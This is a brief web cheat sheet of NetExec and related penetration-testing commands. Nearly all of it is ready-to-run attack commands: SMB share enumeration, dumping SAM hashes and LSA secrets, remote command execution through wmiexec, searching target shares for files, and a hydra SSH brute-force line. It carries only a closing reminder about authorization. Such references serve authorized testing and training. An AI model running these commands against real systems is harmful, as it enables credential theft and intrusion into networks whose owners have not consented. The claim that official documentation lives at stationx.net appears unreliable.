NetExec Cheat Sheet: Essential Commands (2025 Guide)

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NetExec is a powerful tool for penetration testers and red teamers, offering a wide range of functionalities for network hacking. Below are some essential commands and code snippets to help you get started with NetExec.

Enumeration

nxc smb 192.168.1.0/24 -u admin -p password --shares 

This command enumerates SMB shares on a subnet. Replace `admin` and `password` with valid credentials.

Credential Harvesting

nxc smb 192.168.1.10 -u user -p pass --sam 

Retrieve the SAM database from a target machine. Ensure you have the correct credentials.

Lateral Movement

nxc smb 192.168.1.10 -u admin -p password --exec-method wmiexec -x "whoami" 

Execute commands on a remote machine using WMI. Replace `”whoami”` with your desired command.

Post-Exploitation

nxc smb 192.168.1.10 -u admin -p password --lsa 

Dump LSA secrets from the target machine. This can reveal valuable information for further exploitation.

Advanced Usage

nxc smb 192.168.1.10 -u admin -p password --spider / --pattern .pdf 

Search for PDF files on the target machine. Adjust the pattern to search for other file types.

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NetExec is an indispensable tool for cybersecurity professionals, offering a streamlined approach to network penetration testing. Its versatility in enumeration, credential harvesting, lateral movement, and post-exploitation makes it a go-to solution for red teamers.

To further enhance your skills, consider practicing the following Linux and Windows commands:
– Linux:

nmap -sV -p 1-65535 192.168.1.10 

Perform a detailed service version scan on a target.

hydra -l admin -P wordlist.txt ssh://192.168.1.10 

Brute-force SSH credentials using Hydra.

  • Windows:
    [cmd]
    net user /domain
    [/cmd]

List all users in a domain.

[cmd]
wmic product get name,version
[/cmd]
Retrieve installed software and versions on a Windows machine.

For more advanced techniques, explore the official NetExec documentation at stationx.net. Mastering these commands will significantly improve your efficiency in network security assessments.

Remember, ethical hacking requires proper authorization. Always ensure you have permission before testing on any network.

This guide provides a solid foundation for using NetExec effectively. Keep practicing and stay updated with the latest tools and techniques to stay ahead in the cybersecurity field.

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